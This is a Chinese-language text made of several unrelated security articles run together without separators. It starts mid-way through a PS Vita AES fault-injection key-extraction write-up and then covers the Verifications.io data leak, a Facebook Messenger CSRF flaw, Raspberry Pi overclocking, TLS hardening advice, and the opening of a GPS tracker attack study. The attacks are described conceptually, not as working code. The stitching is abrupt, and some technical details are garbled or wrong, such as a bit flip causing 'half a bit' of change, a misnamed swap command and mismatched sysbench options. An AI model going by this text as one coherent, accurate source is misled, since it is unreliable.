为了弄清周期偏移与AES故障之间的关系,我们可以将已知密钥注入给Bigmac并尝试加密一个已知的明文,然后我们再使用已知密钥解密由故障导出的密钥。在解密的每一步中,我们都可以将状态矩阵与解密正确密钥的相同步骤进行区分。我们可以假设,在翻转的状态下,位数最少的步骤就是我们设法进行故障攻击的步骤。为什么?因为AES在设计上确保了一种称为扩散的特性。这意味着,平均而言,输入中的一个位翻转将导致输出中的半个位翻转。 AES中的每个步骤都尝试将状态的微小变化传播到尽可能多的位置。例如,假设我们设法在第5个周期的MixColumns之后立即注入故障,以便在字节0中翻转一个位,将0xAA更改为0xAB。在第6周期SubBytes中,字节0传递到S-Box,其中0xAA的输入产生0xAC的输出,但0xAB的输入产生0x62的输出。请注意,我们现在已经进行了5个翻转,继续第6个MixColumns,我们看到每个列都被加扰,这意味着4个字节现在是不同的。然后在第7周期ShiftRows中,将这4个字节中的每一个重新定位到不同的列,另一个MixColumns将对每个列进行更多的加扰。现在, 16个字节都不同。依此类推,我们很容易看出,当我们经历更多周期时,一个周期状态的微小变化将导致整个状态的巨大变化。

利用这种方法,我们可以在每个偏移量上收集许多有漏洞的密文样本,并查看每个偏移量对哪一周期的影响最大。这里的视频展示了这一工作原理:我们改变故障偏移量并触发故障,然后立即分析故障,以查看哪些周期受到影响,以及状态中的哪些位被翻转。

此外,我们还发现无论偏移量如何,我们的大多数故障只能影响一位或两位,这比所要求的(损坏一个字节)要好。

8.png

提取密钥

使用正确的偏移量,我们可以在第8个周期发现故障。很有可能,我们得到1-2位翻转,这符合phoenixAES的要求。但是,如果我们运气不好而且我们碰巧收集了两个由故障引发的密钥,其中已损坏的字节大于一位,我们怎么办?最好的解决方案是更改故障模型,我们正在使用的是Piret在2003年首次提出并在phoenixAES中实现的模型。但是,后来的模型允许最多12个字节的损坏(尽管有一些限制)。由于我们很懒,并且不想编写大量代码,因此不想更换新的模型。

提取AES-256密钥

到目前为止,我们只提到了提取AES-128密钥的方法。但是,将这个方法扩展到AES-256并不太难。经过测试,我们经过12周期的攻击就可以获得密钥。

9.jpg

完整的设置:psvemmc由USB供电,通过20针连接器连接到ChipWhisperer。 CW故障端口连接到psvcw,胶合在电路板底部,其中装有并流电阻。红色和蓝色线将外部1.1V电源连接到psvcw。最后,电池和USB连接器都是可以为PSV供电。

提取主密钥

到目前为止,所描述的一切都适用于非主密钥。回想一下,我们在前面说过主密钥不能用于直接加密内容,因为该过程涉及使用Bigmac将一些明文加密到另一个密钥槽。当然,解决此问题的一种方法是执行两级DFA攻击,但是,我们没有使用这个方法,因为我们已经知道Bigmac中有一个公开从密钥的硬件漏洞。Davee写了一篇关于这个漏洞如何运作的帖子,你可以看一下。简而言之,因为Bigmac在加密成功后没有清除内部状态,如果执行第二个加密大小< 16字节(AES)的块大小,那么它就会“借用”来自该内部状态的剩余字节。

总结

我们已经使用本文的办法恢复了30个主密钥,包括插槽0x208(插槽)密钥。

Verifications.io数据库发生泄露,8亿多用户数据被曝光

Security Discovery安全研究人员Bob Diachenko,刚刚披露了一个可被公开访问的MongoDB数据库,其中包含了超过8.08亿个电子邮件地址、以及其它纯文本记录。

事情是这样的,Bob Diachenko在上周发现了一个没有经过安全防护的、可公开访问的MongoDB数据库,其中包含了140多G的详细营销数据,以及808539939个电子邮箱地址。Bob Diachenko发现的MongoDB数据库包含四个独立的记录文件夹,最大的一个名为mailEmailDatabase,分为三个文件夹:

· Emailrecords(798171891条记录);

· emailWithPhone(4150600条记录);

· businessLeads(6217358条记录);

f168b83818af1cb.jpg

包含最多记录的Emailrecords文件夹包含比如电子邮件、用户 IP 地址、出生日期、邮政编码、地址、性别、电话号码等内容。而且还有类似商业情报这样的数据,比如来自不同公司的员工和收入数据。

bc9899bee55da5e.jpg

这总计超过8.08亿条的记录,最终可追溯到一个名为Verifications.io的公司。

目前可以确定,此次信息的泄露与Verifications.io的电子邮件验证服务相关,该漏洞已经于2月25日被曝光到互联网上,且允许被公众访问。在Bob Diachenko向Verifications.io报告了这个漏洞之后,现该网站已处于离线状态,截至发稿时尚未恢复。

Verifications.io是一家什么公司呢?为什么会有这么多详细的数据记录,经过一番调查,我们发现,该公司主要面向企业提供“电子邮件验证”服务 ,显然涉及让客户上传电子邮件地址列表以进行验证的操作。

虽然你可能从未听说过什么邮件验证公司,但是它们已经在电子邮件的营销行业中扮演着至关重要的角色。他们专门负责审查邮件列表,以确保其中的电子邮件地址是有效的。一些营销公司为了进行精准营销就会使用与这样的公司合作,电子邮件营销公司通常会将这项工作外包出去。但是,要完全验证电子邮件地址的有效性,就需要向该地址发送一条消息,并确认它已被发送,本质上邮件验证公司是在向人们发送垃圾邮件。所以为了防止发出的邮件被当作垃圾屏蔽,Verifications.io等类似的公司就要规避互联网服务提供商和平台(如Gmail)的保护。

目前Verifications.io对外的回应如下:

经过仔细检查,我们发现用于附加信息的数据库似乎出现了短暂的暴露。不过,大多数数据都是从各种来源公开获取的,而非客户构建的企业数据库。

但Bob Diachenko对这一说法表示怀疑:既然数据是公开的,那为何关闭数据库,让网站处于脱机状态呢?除了电子邮件的配置文件外,数据库中还包含了某些列表用户的详细信息(130 条记录)。在这些记录中,研究人员还发现了一些似乎是Verifications.io的内部工具,如测试电子邮件的账户、数百台SMTP(电子邮件发送)服务器、电子邮件文本、反垃圾邮件规避基础设备、要避免的关键字信息以及进入黑名单的IP地址,还有就是访问FTP服务器用的上传或下载邮件列表的名称和登陆凭证,我们只能推测,这些其实并非公开数据。

安全研究员Vinny Troya正在将Verifications.io的数据添加到他名为NightLion Security(类似于HaveIBeenPwned)的公共服务系统中,该系统可帮助人们检查他们的信息数据是否在泄露中受到了损害。他表示,这些新泄露的电子邮件许多都是原来的数据库所没有的。

当犯罪分子获得大量汇总的个人信息时,他们就更容易实施新的精准攻击,或扩大其攻击目标。

目前Bob Diachenko还不清楚这数亿人的数据,是如何被获得的? 

Facebook Messenger出现了一个能让他人看到你通讯记录的漏洞

去年11月Imperva的安全研究员Ron Masas发现Facebook搜索结果没有得到适当的保护,不会受到跨站点请求伪造(CSRF)攻击。换句话说,一个网站可以在另一个标签中悄悄的从您登录的Facebook个人资料中抽取某些数据。Masas认为是恶意网站嵌入IFRAME(用于在网页中嵌套网页),来静默收集个人资料信息的。这意味着如果用户访问特定网站,攻击者就可以打开Facebook并可以收集有关用户及其朋友的信息。比如恶意网站可以在新标签中打开几个Facebook搜索查询,并运行可以返回“是”或“否”响应的查询。即使被设置成隐私,也能暴露了用户和他们的朋友的兴趣。事后,Facebook很快修复了这个漏洞。

不过根据安全研究组织Imperva的Ron Masas的研究,这个漏洞还存在于Facebook Messenger中,它可以让网站曝光你在Facebook Messenger上与谁聊天。

黑客可能会通过欺骗用户访问恶意网页的链接来将继续利用该漏洞,如果用户点击了恶意网页上的任何地方(比如“播放视频”按钮),则攻击就开始了,这将使黑客能够在新的Facebook标签上运行任何查询并提取个人数据。此时黑客可以定位Facebook用户的网络浏览器并利用iframe元素来查看用户与之交谈的朋友以及哪些朋友不在用户的联系人列表中。Imperva证实,黑客无法从攻击中获得任何其他数据。

目前基于浏览器的边信道攻击(side channel attack 简称SCA)仍然是一个被忽视的方向,虽然像Facebook和谷歌这样的大公司正在朝这方面努力,但大多数公司还没有意识到它的危害。2019年可能是它的爆发元年,因为边信道攻击通常不会留下什么攻击痕迹。

超频也被认为是DIY玩家技术水平的体现,同时也是DIY厂商研发功底的衡量指标。那对于树莓派,我们应如何超频该设备呢?这就得看具体的设备了,目前市场比较流行的是树莓派3和树莓派2两个型号。由于树莓派3的各方面性能都优于树莓派2,所以我选择详细说说树莓派3。不过由于两个型号的基本技术特性类似,所以在树莓派3的超频技术也适用于树莓派2,但超频的效果就要大打折扣了。

简而言之,超频是通过调整多个设备参数来提升树莓派硬件性能的方法。为此,需要额外的硬件和特殊的操作技能。

用树莓派能做什么?

就像其他任何一台运行Linux系统的台式计算机或者便携式计算机那样,利用Raspberry Pi可以做很多事情。当然,也难免有一点点不同。普通的计算机主板都是依靠硬盘来存储数据,但是Raspberry Pi来说使用SD卡作为“硬盘”,你也可以外接USB硬盘。利用Raspberry Pi可以编辑Office文档、浏览网页、玩游戏——即使玩需要强大的图形加速器支持的游戏也没有问题,如《雷神之锤》(Quake )。

超频需要做哪些准备工作呢?

首先是良好的硬件、CPU、内存和显卡,即使在100%负荷下工作也能拥有合理的温度和功耗。

其次就是需要一块强大的主板,特别是主板供电部分。

最后超频还需要强大的散热器和电源,散热器可以让CPU和显卡工作在合理温度下,提升超频潜能和超频过程的稳定性,电源可以给予硬件足够的电能支撑,即使功耗提升也能轻松应对。

超频的相关风险

风险1

目前,还没有超频树莓派3的官方支持,所以你可能会损坏你的设备。 

风险2

超频可能会将硬件升温至接近90°C。这又可能导致程序崩溃、CPU损坏、内存芯片损坏。为了防止这种情况,芯片的散热必须要非常好。由于风扇会增加冷却效果,因此强烈建议使用。所以重要的事情说三遍,不要在没有冷却的情况下进行超频。

超频时所需的额外硬件设备

如果你想超频你的树莓派,你需要配置三个重要的硬件配件:

1.树莓派,本文我使用了一个树莓派3模型B V1.2与Raspbian GNU / Linux 8(Jessie)运行。

2.电源,强烈建议使用可靠的电源,超频的树莓派3可以适用于1.5A甚至更高的电流。所以,本文的超频用的是2A。

3.冷却设备,为了防止树莓派设备过热,我必须找到风扇、散热器。

在开始之前,你可以使用以下命令将安装的软件包升级到最新版本。结束之后,你需要检查系统性能。你可以使用“sysbench”工具来轻松完成这个工作,它可以通过$ sudo apt-get install sysbench命令来实现安装。

1.jpg

如下图所示,就是我所需要的全部超频设备。

3.png

详细来说,就是:

1.一台树莓派3;

2.电源电压为5伏,电流为2500毫安;

3.一个内置的风扇;

4.三个散热片;

5.一个带有内存降温空间和风扇空间的底座。

下图就是我将其组合好后的设备示意图:

4.png

请注意,在这张照片中,最大的散热器在风扇下方,铜制散热器在这张图的最底部。

超频前的例行检查

CPU频率监控

要了解当前CPU的运行频率,我必须从 /sys/devices/system/cpu/cpu0/cpufreq/目录中读取proc文件cpuinfo_min_freq,cpuinfo_max_freq和cpuinfo_cur_freq,其中:

cpuinfo_min_freq 表示“空闲”模式的最小频率;

cpuinfo_max_freq 表示最大频率;

cpuinfo_cur_freq表示树莓派的当前运行频率;

5.png

CPU温度监控

要知道当前的CPU温度,我可以运行vcgencmdmeasure_temp命令。另外,为了观察每一秒的温度变化,我可以运行以下命令。

$ while true ; do vcgencmd measure_temp ; sleep 1 ; done

overclock-raspberry-pi-monitor-temp.png

开始运行后,如果想要终止运行,就要用CTL + C终止它。

设置默认速度

树莓派电路板的默认CPU配置,在没有任务的情况下处于空闲模式,如下所示:

· arm_freq = 600 mhz

· core_freq = 250 mhz

如果进程正在运行当中,频率将上升到:

· arm_freq = 1200

· core_freq = 400(这是树莓派3的最大默认值)。

为了防止空闲模式被破坏,我必须在/boot/config.txt中设置以下这些行:

· force_turbo = 1,注意!更改此参数会自动取消授权(warranty)

· boot_delay = 1;

之后,重启树莓派并再次检查当前的运行频率,现在应该设置为1200000KHz。

8.png

建议你先在不超频的状态下进行树莓派的性能测试,第一次性能测试时,我运行的是以下命令。

$ sysbench --test=memory --cpu-max-prime=2000 --num-threads=4 run

输出结果如下:

10.png

此时,树莓派3的在超频前的测试就结束了。

树莓派3的超频参数配置

超频配置要在/boot/config.txt文件中设置,而要进行超频,我只需要在这个文件中设置各种系统配置参数。实现超频有以下6种方法:

1.超频树莓派 CPU,这意味着更改“arm_freq”参数: ARM的频率(以MHz为单位);

2.超频树莓派 GPU,这意味着要更改“core_freq”参数:GPU处理器内核的频率(以MHz为单位)。由于它驱动了L2缓存,因此它对ARM的性能会有影响;

3.超频树莓派内存,这意味着要更改“sdram_freq”参数: SDRAM的频率,以MHz为单位;

4.树莓派内存的附加扩展,这意味着要通过压缩内存来使用ZRAM;

5.额外的超频参数“Over_voltage”,它是ARM / GPU核心电压调整。只有当指定了“force_turbo”或“current_limit_override”参数时,才允许设置高于6的值;

6.设置额外的超频参数“Force_turbo”,此参数会禁用动态cpufreq驱动程序,并要求后来的最小设置,此时授权无效。

在开始更改任何参数之前,请确保/boot/config.txt文件已备份。

由于不同型号的树莓派的性能各有差异,所以,只能通过尝试各种参数来确定正确的值。这意味,每个树莓派上的最佳值都是不一样的。

超频时所出现的问题及预防

大多数超频问题都会在发生时立即显示,一旦问题出现,则设备就会立马暂停启动。如果发生这种情况,请在下次启动时按住“shift”键。这将暂时禁用所有超频,允许你启动,然后再对相应的设置进行编辑。

通过此方法,你就可以知道如何调整CPU,GPU和内存频率的值,从而获得更好的性能,这其中也包括调整“over_voltage”参数,其目的就是让超频硬件稳定工作。另外一种方法就是通过调整内存频率来超频你的树莓派3。此时,我将通过ZRAM的方式来进行监控。所以,我只需执行以下操作:

1.以下是树莓派3的默认值

arm_freq=1200
gpu_freq=400
core_freq=400
sdram_freq=450
over_voltage_sdram=0

2.向/boot/config.txt文件写入以下配置,然后重新启动树莓派。

arm_freq=1300
gpu_freq=500
sdram_freq=500
over_voltage_sdram=0

3.如果树莓派启动并运行,进一步尝试下一个配置,即将arm_freq的值提高到1500,保存并重新启动。

4.如果你的树莓派无法启动或运行不稳定,请找到over_voltage_sdram的正确值,直到Pi运行正常。

5.如果调整over_voltage_sdram无助于稳定你的树莓派的运行或者连启动都无法进行,那么你必须减小arm_freq值直到树莓派再次运行。另外,请注意,每次更改/boot/config.txt文件后都必须重新启动系统。

如何用ZRAM超频

ZRAM方法是增加树莓派设备性能的附加选项,这种方法会要求你扩充内存,超频可以通过使用压缩内部存储器的ZRAM来完成。

ZRAM使用压缩算法LZ4和LZO,其中LZO是默认值,该算法会创建一个块设备(block device),它可以用于交换或作为通用的RAM磁盘。

如何加载ZRAM?由于ZRAM已经集成到Linux内核中,我只需要使用命令sudomodprobezram来加载模块即可。要检查ZRAM模块是否正在运行,请执行下面所示的命令sudolsmod| grep ZRAM。

overclock-raspberry-pi-zram-1.png

如果我要为树莓派优化设置ZRAM,则可以从GitHub获取脚本zram.sh。该脚本为每个CPU内核都创建了一个额外的压缩RAM交换磁盘,不需要在进一步的配置,就可以将它们激活。

你可以使用以下命令下载zram.sh脚本:

sudo wget -O /usr/bin/zram.sh https://raw.githubusercontent.com/novaspirit/rpi_zram/master/\zram.sh

执行过程如下所示。

15.png

在激活ZRAM之前,你先看看内存信息。 free -h和swap -s命令显示,我在树莓派中只激活了100MB的交换空间。

360截图16210605291637.jpg

现在我可以用命令运行ZRAM:

overclock-raspberry-pi-zram-5.png

sudo zram.sh

该脚本将为每个CPU内核生成一个大小约为232 MB的交换空间,如果我再次通过free -h命令检查,交换空间会增加到1GB。

19.png

通过再次运行swap -s,我可以看到有四个额外的交换空间分区被创建和运行。

20.png

为了在启动时将树莓派设置为自动运行的ZRAM,我必须编辑/etc/rc.local文件并在退出之前插入/usr/bin/zram.sh&行。然后,你就可以检查/etc/rc.local文件的结尾。

21.png

重新启动树莓派后,就会出现配置了ZRAM内存的标识。不过,你还是要使用free -h和swap -s命令再次检查,以确保ZRAM启动并运行。

超频状态下的成树莓派3的性能测试

完成超频后,我希望再次对树莓派进行性能测试,看看设备是否正常。为此,我会再次运行以下命令。

sysbench --test=memory --cpu-max-prime=2000 --num-threads=4 run

输出结果如下:

23.png

所有的测试值都比未超频时的要好,上图中,绿色标注的值是未超频时的运行值。

在TLS中,所有安全性都以服务器的加密身份开始,这就需要一个强大的私钥来防止攻击者进行模拟攻击。同样重要的是拥有一个有效和强大的证书,它会授予私钥来代表一个特定的主机名。

对于大多数网站都来说,由2048位RSA密钥提供的安全性就已经足够了。 由于RSA公钥算法应用广泛,从而使得它成为安全的默认选择。对于2048位的RSA密钥来说,能够提供大约112位密钥。如果你想要更高的安全性, RSA密钥则不能很好地进行扩展。比如,要获得128位的密钥,就需要3072位的RSA密钥,这显然运行较慢。椭圆曲线数字签名算法ECDSA显示为你提供了更好的安全性和更好的性能。以ECDSA256为例,,ECDSA密钥提供了128位的密钥。

如何保护私钥

(1)要在具有足够熵的可信计算机上生成私钥。

(2)从一开始就要为密钥设置密码保护,以防止在存储到备份系统中时受到攻击。私钥密码在实际运行中不会有太大的安全保障,因为攻击者完全可以随时从进程内存中检索密钥。利用硬件设备(硬件安全模块或HSM),即使在服务器受损的情况下也可以保护私钥,但是这些设备是昂贵的,因此仅适用于对安全有严格安全性要求的机构。

(3)被攻击后,撤销旧证书并生成新密钥。

(4)每年更新证书,最好你的设备可以自动执行此过程,因此具有较短使用周期的证书在实践中更为安全。

(5)除非特殊情况,否则每当获得新证书时,就应该生成相应的新私钥。

确保证书覆盖所使用的网站

确保你的证书覆盖你所使用的网站,避免无效的证书警告。

即使你只有一个域名,你也应确保证书与www前缀有关,例如,example.com和www.example.com。安全的Web服务器的每个DNS名称都应该配置一个有效的证书。还有就是,访问私钥的人越少越好。

可靠的CA获取证书

选择CA时,请注意以下5方面:

(1)所有CA的安全状态都要经过定期审核;

(2)选择以CA为主业务且提供各种功能支持的机构;

(3)你选择的CA应提供证书吊销列表(CRL)和在线证书状态协议(OCSP)撤销的支持; 

使用强大的证书签名算法

证书安全性取决于用于签署证书的私钥的强度及签名中使用的哈希函数的强度。原来大多数证书都依赖于SHA1散列函数,不过现在已经证实这是不安全的。因此,目前的趋势是正在向SHA256转型。截止2016年底,SHA1证书将不再被网站支持。

TLS服务器的配置

使用完整的证书链

无效的证书链会让服务器证书无效并导致浏览器发出安全警告,在大多数SSL和TLS部署中,只有服务器证书需要两个或多个证书来建立完整的信任链。

使用安全协议

SSL/TLS系列中有五种协议:SSL  2,SSL  3,TLS 1.0,TLS 1.1和TLS 1.2。

SSL2和SSL3已经非常过时了,建议不要使用。从理论上来讲,TLS  1.0也不应该被使用,但在实践中经常被使用。截至目前,TLS  1.1和 1.2都还没有什么安全问题,但只有 1.2提供了现代的加密算法。

所以TLS 1.2应该是被使用的主要协议,因为它是唯一提供现代认证加密(也称为AEAD)的版本。

选择最佳加密套件

加密套件是用于在SSL/TLS握手期间协商安全设置的算法的组合。在ClientHello和ServerHello消息交换之后,客户端发送优先级列表的密码支持套件。然后,服务器使用从列表中选择的密码套件进行响应。加密套件为以下组合:

密钥交换算法(RSA,DH,ECDH,PSK);

认证算法(RSA,DSA);

批量加密算法(AES,Camellia,ARIA);

消息认证码算法(SHA-256);

不过有几个过时的加密原语必须禁止使用:

(1)匿名Diffie-Hellman(ADH)套件不提供身份验证。

(2)NULL加密套件不提供加密。

(3)导出加密套件在连接协商时不安全,但也可以针对更强大的套件(FREAK攻击)的服务器使用。

(4)弱密码(通常为40和56位)的套件使用可以轻松被攻击。

(5)RC4是不安全的。

(6)3DES运行缓慢且易被攻击。

在SSL  3及更高版本的协议版本中,客户端会先提交一系列支持的加密套件,服务器从列表中选择一个用于连接的套件。然而,并不是所有的服务器都能执行此操作,有些会固定的从客户端列表中选择第一个支持的套件,所以服务器主动选择最佳可用加密套件对于实现最佳安全性至关重要。

使用前向保密

前向安全或前向保密(英语:Forward Secrecy,缩写:FS),有时也被称为完美前向安全 [1]  (英语:Perfect Forward Secrecy,缩写:PFS),是密码学中通讯协议的安全属性,指的是长期使用的主密钥泄漏不会导致过去的会话密钥泄漏。 [2]  前向安全能够保护过去进行的通讯不受密码或密钥在未来暴露的威胁。如果系统具有前向安全性,就可以保证在主密钥泄露时历史通讯的安全,即使系统遭到主动攻击也是如此。

使用强大的密钥交换算法

确保数据的传输、存储安全,通常都会对传输的数据加密后存储或传输,接收方收到数据后解密密文,还原明文。通常采用的加密算法主要有对称密钥加密算法以及非对称密钥加密算法。在安全的数据通信中,通信的双方必须分别具有加密的密钥以及解密的密钥。一旦通信的密钥被泄漏或破解,由其加密的信息就会被泄漏。因此,如何安全地交换或协商通信密钥就成为至关重要的问题,从而如何保证密钥的安全,特别是安全的密码交换就成为电子商务中安全信息交换的核心问题。

2015年,研究人员发现一个SSL加密安全漏洞LogJam,LogJam漏洞将影响任何支持DHE_EXPORT密码的服务器及所有浏览器,包括最新版的IE、Chrome、Firefox、Safari等。随后他们评估称学术派黑客可以破解768位的密钥,而国家支持的黑客更可以突破1024位的密钥。所以为了安全起见,如果部署DHE,至少要配置2048位的密钥。

正确部署前的验证

也许在按着本文的方法在进行部署时,许多软件和硬件配置都有了新的版本,建议大家先对自己的SSL / TLS做个全面评估,以确保运行的安全,推荐大家使用此链接进行测试。

实践部署过程中的注意事项

避免一味的追求过高的安全性

使用太短的密码肯定是不安全的,但使用太长的密码也不一定安全,比如会导致操作的复杂。对于大多数网站来说,使用强于2048位的RSA密钥以及使用强于256位的ECDSA密钥会浪费CPU功耗,并可能会损害用户体验。类似地,增加临时密钥交换的强度对于DHE为2048位以及ECDHE为256位几乎没有什么好处,使用高于128位的加密也没有明显的好处。

使用会话重用机制

由于SSL握手的非对称运算无论是RSA还是ECDHE,都会消耗性能,故为了提高性能,对于之前已经进行过握手的SSL连接,尽可能减少握手round time trip以及运算。

SSL提供2中不同的会话复用机制。

(1)session id会话复用;

(2)session ticket会话复用,Session id会话复用有2个缺点,其一就是服务器会大量堆积会话,特别是在实际使用时,会话老化时间配置为数小时,这种情况对服务器内存占用非常高。

使用广域网优化

广域网优化(WAN optimization),通常也被称为广域网加速(WAN acceleration),即通过一些优化技术来提供高性能的远程数据访问,从而提高应用程序在广域网上的性能。

缓存公共内容

通过TLS进行通信时,浏览器可能会把所有流量都视为敏感数据。这样,它们通常会使用内存来缓存某些资源,但一旦关闭浏览器,所有内容都可能会丢失。为了获得性能提升并实现对某些资源的长期缓存,可以将公共资源(例如图像)标记为公开。

启用OCSP Stapling

OCSP (Online Certificate Status Protocol) 通常由 CA 提供,用于在线实时验证证书是否合法有效,这样客户端就可以根据证书中的 OCSP 信息,发送查询请求到 CA 的验证地址,来检查此证书是否有效。

而 OCSP Stapling ,顾名思义,是将查询 OCSP 接口的工作交给服务器来做,服务器除了可以直接查询 OCSP 信息,还可以仅进行少数次查询并将响应缓存起来。当有客户端向服务器发起 TLS 握手请求时,服务器将证书的 OCSP 信息随证书链一同发送给客户端,从而避免了客户端验证会产生的阻塞问题。由于 OCSP 响应是无法伪造的,因此这一过程也不会产生额外的安全问题。

使用快速加密原语

尽可能使用支持硬件加速AES的CPU,如果你真的想要进一步提高性能,请考虑使用ECDSA密钥。

HTTP的加密

加密整个网站,加密的问题可能是当今最大的安全问题之一,比如:

(1)没有TLS的网站

(2)具有TLS但不执行TLS的站点

(3)混合了TLS和非TLS内容的网站,有时甚至在同一网页内

(4)编程错误的网站会破坏TLS

删除混合内容

即使你加密了整个网站,仍然可能会从第三方网站中检索出未加密的一些资源。混合内容页面是通过TLS传输但是包含不通过TLS传输的资源(例如,JavaScript文件,图像,CSS文件)的页面。这样的页面非常不安全,这些不受保护的JavaScript资源会被中间人攻击所利用,例如劫持整个用户会话。

了解第三方服务

多数网站都是通过从另一台服务器下载的JavaScript代码来激活的第三方服务比如Google Analytics。包含第三方代码的网站会创建一个隐含的信任连接,有效地使对方完全控制你的网站。虽然第三方连接可能不是恶意的,但是这些服务背后的厂商可能被攻击,比如,如果一个服务器被攻击,那攻击者将自动访问所有依赖该服务器的站点。

安全设置Cookie

为了在保持性能的前提下,实现安全,网站需要TLS,而且所有的Cookie在创建时都被明确标记为安全的。否则就有可能被MITM攻击者利用,建议大家为你的Cookie添加加密完整性验证。

安全的HTTP压缩

CRIME攻击通过利用压缩过程中的漏洞,可解密部分安全连接。而禁用TLS压缩可防止这种攻击。另外要注意,HTTP压缩可能被TIME和BREACH攻击利用。与TLS压缩不同,HTTP压缩是必需的,不能关闭。因此,为了解决这些攻击,需要对应用程序代码进行更改。

配置使用HTTP严格传输安全(HSTS)

要激活HSTS保护,你可以向你的网站添加一个新的响应头。之后,支持HSTS的浏览器就会执行它。通过自动将所有明文链接转换为安全的链接,来实现了这一目标。

建议大家添加对HSTS的支持,这是为TLS安全性做出的最重要的保障。为了获得最佳安全效果,请考虑使用HSTS预加载,将HSTS配置嵌入到浏览器中。只要是在有效期内,浏览器都将直接强制性的发起HTTPS请求。

部署内容安全策略(CSP)

敏感内容作出处理

由于使用基于云的应用平台正在增加,所以为了让所有敏感内容只让接收方收到,你必须小心对敏感内容作出处理。

前言

在过去的30年里,随着智能设备的普及,GPS追踪器和应用场景也越来越广泛,比如用于儿童和老人的行踪掌控,公路巡检,贵重货物跟踪,追踪与勤务派遣,私人侦探工具,个人财物跟踪,宠物跟踪,野生动物追踪,货运业,汽车防盗,自行车防盗,电动车防盗,摩托车防盗,银行运钞车,军警演习操控,检调追踪,公务车管理等。这些设备的一个主要功能是收集跟踪器位置的GPS坐标,并通过蜂窝调制解调器和SIM卡将它们发送到远程服务器。不过随着技术的发展, GPS跟踪器除了简单的位置定位外,还包括许多诸如麦克风、摄像头或Wi-Fi接口之类的附加功能,从而实现许多高级跟踪活动。比如,儿童手表,不但可以定位宝贝们现在的位置,而且还可以与他们进行语音通话甚至是视频。在本研究中,我们不但提出了一种评估不同功能GPS追踪器安全性的方法,而且在我们的安全评估中还发现了几个安全漏洞,突出了在关键环境中使用时需要对这些设备进行适当的安全防护。

全球定位系统所涉及的安全与隐私问题

全球定位系统(Global Positioning System,通常简称GPS)是美国国防部研制的一种全天候的,空间基准的导航系统,可满足位于全球任何地方或近地空间的军事用户连续的、精确的确定三位位置和三位运动及时间的需要。它是一个中距离圆型轨道卫星导航系统。不过今天我们只讲述它的民用应用领域,民用应用商品的GPS追踪器主要目的是发送跟踪设备或个人的位置的GPS坐标,然后GPS跟踪器通过使用数据连接或文本消息自动的、周期性的收集数据,并通过蜂窝网络将这些数据发送到远程服务器。

在检测了多个跟踪器解决方案时,我们观察到这些设备的制造商已经添加了额外的其他智能功能。这样这些设备就不仅仅具有简单的GPS功能,而是具有运动或噪声检测器、麦克风、摄像头和额外无线接口的全功能监视设备。

这些设备的配置是通过文本消息上的专有协议实现的,在使用此类设备之前,用户必须配置一组参数,例如远程服务器IP地址以及标识和身份验证凭据,以便将收集到的数据上传到云基础设施。

从安全和隐私的角度来看,攻击者如能取得这些追踪器所设置的SIM卡的电话号码,就可以发起有针对性的攻击。

GPS跟踪器的信息会存储在多个云管理系统中,不过攻击者不仅会对云管理基础架构感兴趣,还会通过移动网络定位GPS跟踪设备(例如SMS配置界面)来访问高级功能,比如麦克风或停止引擎(某些GPS跟踪器中的功能可提供对汽车引擎的远程访问)功能。

目前市场上可用的GPS跟踪器都会或多或少用户的隐私信息,我会在下面详细介绍。

攻击向量

图1是一个表示总体架构和交互点的图,可以看出,那么多可能的无线接口(GPS,移动网络)、远程服务器和正在运行的web应用程序、智能手机应用程序和配置管理协议,都存在相当大的攻击面。此外,更新机制(如果存在的话)也是可以利用的有趣攻击载体。不过,本研究中测试的设备都没有实现远程更新的机制。

在本节中,我们将试着从攻击者的角度来搜寻可能的攻击入口点。请注意,某些国家或地区中的某些攻击可能是非法的。还有本研究中使用的所有技术和工具都是已知的,可在线获得,无论是开源还是免费版本的软件。

1.jpg

蜂窝调制解调器GPS跟踪器相关基础设施的架构

干扰和欺骗GPS信号

在这类攻击中,攻击者的目标是干扰GPS进行正常定位或阻止GPS信号传输到远程服务器。攻击中,攻击者可以使用低成本的GPS干扰器或GPS欺骗工具。 

2.jpg

针对无人机,智能手机和GPS追踪器进行的欺骗攻击

高级GPS攻击,即GPS欺骗,关于它的描述网上已经有很多了,你如果感兴趣可以自己来找,另外,关于它的开源工具网上也有。因此,使用软件定义的无线电和gps_sdr_sim软件(gps信号仿真器),攻击者能够模拟特定的GPS卫星信号。

在目标设备附近,如图2所示,这些工具互用于不同的目标集,如智能手机和无人机。所以,一个简单的预防对策就是检查第三方信息,如Cell_ID,以交叉验证特定跟踪器的位置。

Cell_ID是主要的位置服务(LBS)技术之一,覆盖半径 大约是400米,Cell ID实现定位的基本原理:即无线网络上报终端所处的小区号(根据服务的基站来估计),位置业务平台把小区号翻译成经纬度坐标。这种方法实现简单,无需在无线接入网侧增加设备,对网络结构改动小,缺点是定位精度低,在市区一般可以达到300-500m,郊区几公里。

攻击GPS管理协议

为了实现重新配置跟踪器以实时访问GPS坐标,攻击者可以尝试更改管理服务器的IP地址并强制跟踪器,然后将GPS坐标传输到自己的基础设施。为了避免攻击被检测到,攻击者可以在修改数据之后再向合法的基础设施发送一次数据。这种攻击显然需要知道管理协议和跟踪器中提供的SIM卡的电话号码,以便利用管理协议中的潜在漏洞。此攻击的复杂性与管理协议及其实施的安全级别直接相关。有趣的是,很多GPS跟踪器的用户手册都可以在网上找到,比如在FCC网站上。

攻击云管理、web应用程序和智能手机应用程序

对于制造商而言,攻击者可以将基础设施作为攻击目标,进而窃取GPS跟踪器的整个数据集,如对IP摄像头的攻击。由于攻击者的目标是直接攻击远程管理基础设施和可用的Web或移动应用程序。所以通过获取一组跟踪器,攻击者将能够对协议、固件和硬件部分进行反向工程。然后,分析其中的机制。最会利用身份验证、标识和可用API来查找攻击入口点。由于这种攻击方法可访问到用户的大量隐私信息,且利用它可能允许同时攻击大量跟踪器,所以该方法比较受攻击者的欢迎。

接下来,我们将对不同的设备进行不同的实验设置,并总结出一系列安全漏洞,证明GPS跟踪器及其相关基础设施的安全性较低。为了使这项研究尽可能具有普遍性,我们在线采购了目前最畅销的GPS追踪器,进行测试和安全评价。

安全评估

目前安全研究人员已经熟知用于分析GPS跟踪器及其基础设施的方法,步骤大概就是两步:首先对每个组件(硬件、软件和网络)进行分析,然后对特定应用场景的安全性进行评估。

在本节中,我们总结了我们在不同的攻击场景和可能的利用技术(在本研究中未完全执行时)发现的安全漏洞。此外,还讨论了这些问题的复杂性和关键性。

数据收集和转发

